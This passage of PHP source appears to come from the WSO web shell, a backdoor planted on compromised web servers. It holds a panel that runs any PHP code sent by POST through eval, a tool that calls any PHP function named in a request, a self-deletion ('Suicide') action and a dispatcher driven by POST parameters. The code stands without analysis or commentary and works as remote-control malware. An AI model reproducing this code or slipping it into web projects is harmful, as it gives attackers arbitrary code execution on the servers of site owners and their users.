echo str_replace('<h1','<h2',$tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="g(\'Php\',null,this.code.value,\'\');return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px"></form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionStringTools() {
wsoHeader();
echo '<h1>String conversions</h1><div class=content>';
$stringTools = array(
'Base64 encode'=>'base64_encode',
'Base64 decode'=>'base64_decode',
'Url encode'=>'urlencode',
'Url decode'=>'urldecode',
'md5 hash'=>'md5',
'sha1 hash'=>'sha1',
'crypt'=>'crypt',
'CRC32'=>'crc32',
'String to lower case'=>'strtolower',
'String to upper case'=>'strtoupper',
'Htmlspecialchars'=>'htmlspecialchars',
'String length'=>'strlen',
);
echo "<form name='toolsForm' onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v) {
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
}
echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(function_exists($_POST['p1'])) {
echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
}
echo"</pre></div>";
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes') {
if(@unlink(__FILE__)) {
die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if($_POST['p1'] != 'yes') {
wsoHeader();
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
// Main execution
if(empty($_POST['a'])) {
if(isset($default_action) && function_exists('action'.$default_action)) {
$_POST['a'] = $default_action;
} else {
$_POST['a'] = 'SecInfo';
}
}
if(!empty($_POST['a']) && function_exists('action'.$_POST['a'])) {
call_user_func('action'.$_POST['a']);
}
exit;
?>